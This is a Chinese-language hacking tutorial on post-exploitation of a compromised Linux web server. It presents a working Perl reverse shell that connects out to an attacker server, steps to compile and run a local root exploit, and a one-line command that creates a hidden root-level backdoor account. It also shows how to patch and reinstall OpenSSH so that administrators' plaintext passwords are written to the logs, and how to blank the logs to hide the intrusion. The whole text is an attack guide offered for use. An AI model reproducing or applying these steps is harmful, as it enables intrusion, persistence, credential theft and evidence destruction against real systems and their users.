zl程序教程

您现在的位置是:首页 >  系统

当前栏目

Linux低权限用户记录ssh密码

2023-09-14 08:56:56 时间

0x01 场景

现在有个攻击场景,就是你拿到了linux外网服务器的webshell,要做内网渗透前肯定要收集信息。其中可以做的一个工作是重新编译ssh来记录管理员的密码信息,信息可以用来撞其他机器的密码。下面就从linux的提权开始

 

 

0x02 过程

反弹shell

linux下为啥要反弹出一个shell来提权,这个你可以用webshell来执行一次溢出exp

自己外网服务器 nc -l -vv -p 1234 ,监听1234端口

webshell如果能访问外网,则用bash,python,perl等脚本反向连接。把代码写入/tmp/(也可以是其他目录)并执行。例如perl代码

Perl

use Socket;$i="www.hackblog.cn" //外网服务器地址,可以是IP$p=1234; //反向连接端口

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){

open(STDIN,">&S");open(STDOUT,">&S");

open(STDERR,">&S");exec("/bin/sh -i");};

 

 

/tmp/写入找到的exp源文件,利用webshell或者反弹过来的shell编译,gcc -o root.out exp.c

赋予 root.out 执行权限, chmod +x root.out

用反弹shell执行exp,完成后查看当前权限 ./root.out

 

 

 

 

 

 

 

 

重新编译ssh

 

 

 

第一步顺利的话就可以直接一句话加一个自己的账户了

 

Bash

useradd -p `openssl passwd -1 -salt 'xxx' luo` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/luo luo  //一句添加账户密码luo:luo

 

 

ssh登陆上去,cat /etc/passwd 看看都有哪些账户,然后last看看最近都哪些鬼登陆了。既然shadow不好破解,那么我想在这些账户下一次登陆的时候记录他们的密码怎么办。参考百度上的文章,大概修改一下步骤,提几句注意事项。

 

备份原来的sshmv /etc/ssh /etc/ssh_bak

下载ssh源文件。网上用的6.6,我看版本不是很旧,就直接用

wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz

tar -zxvf openssh-6.6p1.tar.gz 解压后进入解压出的目录

vi auth-passwd.c 编辑这个文件,查找auth_password这个函数,在函数的第一行加入一句

logit("username: %s password: %s", authctxt->user, password);

保存之后

./configure --sysconfdir=/etc/ssh --without-zlib-version-check  --with-md5-passwords

 

make

make install

重启ssh服务

service ssh restart

 

 

接下来,通过ssh不管登陆成功和失败都会把账号密码记录在日志里。这个日志在/var/log/下,Ubuntu的是auth.log,其他系统可以看日志最后修改的时间,随便翻翻最新的日志就行。过一段时间就找到日志看看有木有鱼儿上钩。建议先清空日志,这样下次有登陆信息就可以很方便的观察到文件大小的变化。

 

 

 

注意事项


渗透最后工作就是清除自己的痕迹了。可以echo >/var/log/xxx 这么清除。千万别直接删除日志文件,这样的话就不会再自动生成日志了,即使新建一个同名文件也不行。如果你已经删了,请自行百度解决办法。